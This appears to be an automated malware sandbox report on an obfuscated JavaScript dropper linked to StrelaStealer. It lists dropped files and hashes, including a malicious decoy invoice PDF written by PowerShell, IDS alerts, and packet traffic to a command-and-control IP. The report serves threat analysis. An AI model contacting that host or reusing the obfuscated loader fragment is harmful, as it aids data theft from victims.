Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3201996a-be27-4c51-b65e-9c54121ead4c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\49132cc3-c100-449a-9b25-c9e1e630c7ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/WoWL07oXGZfqeYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uoWLxXGZSeZGH3mlind9i4ufFXpAXkru
MD5:	B1729B48692E6153FC75713FA327A98F
SHA1:	A65FF7F5C8198FB51258234E9E369974F533FABF
SHA-256:	8DFB1D75D9E7E90292025D9E4B059EF2ED12515FF1A8010418996FD4CA4C32F9
SHA-512:	0EC51B71505929D55D223C9367FC9888202D71747152CAF0BC5F86876659919CC43A77CACCD9557D5E9C9F1E5932E1FDAFDD4BF0A6F685BB199B6BA1CABC6599
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5b166959-9acb-4b4a-b1c0-43ad99a0b746.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\852f6ddf-edde-4b70-b585-9c24a63b7cbf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16126), with CRLF line terminators
Entropy (8bit):	4.92064239134384
TrID:
File name:	20891229701394327174.js
File size:	19'706 bytes
MD5:	95f8933926a0f1f4e260e4d58d344494
SHA1:	9c855b2ff5b288f661ce5ea61eabd2aa4177ad69
SHA256:	a4d08282d4e96c5f1c264ab48b02cdfc2ae8a90163a4ba2e725a8d44153a0b77
SHA512:	770bb8a1ee8767d8e2ca43b3d53c622b80851dba99705c1651683c63091aecb35714011627eff82c827714a9d8d45748084e274cf084beea905714c71651861c
SSDEEP:	384:kiq2uQcvh+i2RSmXcxQ6Ca6hzrWz3zkuuvC3tMx3Nkst6gzAA/dDezijm/6gtPyi:kb2Y4SmXcxQ6Ca6hzri3zkuuvC3tMx3+
TLSH:	6B9242D72C8BA346C0D249F551E503D9E8FE0A4ADD08C5AF080AF0E2D5646DD26EF9F8
File Content Preview:	function jcccqzr(){dprgo=[1031,3079,5127,4103,2055,3072];var rstcki=this[xexmxra+vpjsq+bmpthzryp+imuhiuuwt+lwqnwz+otcxlq+qzbgvfdly+celknyo](this[udwpxy+qlyyzomu+huredpvhh+bmpthzryp+vkjkn+xexmxra+celknyo][oksppgeh+bmpthzryp+lwqnwz+vpjsq+celknyo+lwqnwz+gpcv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:14:38.923838+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:14:38.923838+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:14:41.472465+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:14:38.089622974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.094568968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.094662905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.097723007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.102550030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923674107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923732042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923770905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923804998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923832893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923837900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.923866987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923872948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.923899889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923902988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.923953056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.923986912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.923985958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.924021959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.924052954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.931799889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.931838989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.931870937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:38.981563091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.981610060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.981626034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:38.981674910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.045636892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045686007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045727968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.045742035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045770884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045803070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.045819998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045852900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.045886040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.045886040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046103954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046140909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.046176910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046210051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046257973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.046363115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046395063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046425104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.046967030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.046999931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047034025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047034025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.047137022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047168970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047173977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.047780991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047795057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047808886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.047811985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.047846079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.047879934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.074009895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.074132919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.103552103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.103630066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.103667021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.103681087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.103703022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.103739023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.137968063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.138016939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.138056993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.167460918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167505980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167522907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167536974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.167540073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167570114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.167665958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167743921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167759895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167773962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.167959929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167977095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.167994022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.168550968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.168581009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.168610096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.168626070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.168653011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.168792963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.168809891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.168843985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.169368982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.169394970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.169410944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.169442892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.169569969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.169588089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.169600010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.170260906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.170286894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.170291901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.170303106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.170336008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.170454979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.170470953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.170501947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.171180010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.171195984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.171214104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.171224117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.171292067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.171308041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.171325922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.171977043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172002077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172003984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.172018051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172060013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.172194958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172210932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172240973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.172903061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172919035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.172935009 CET	80	49730	193.143.1.205	192.168.2.4
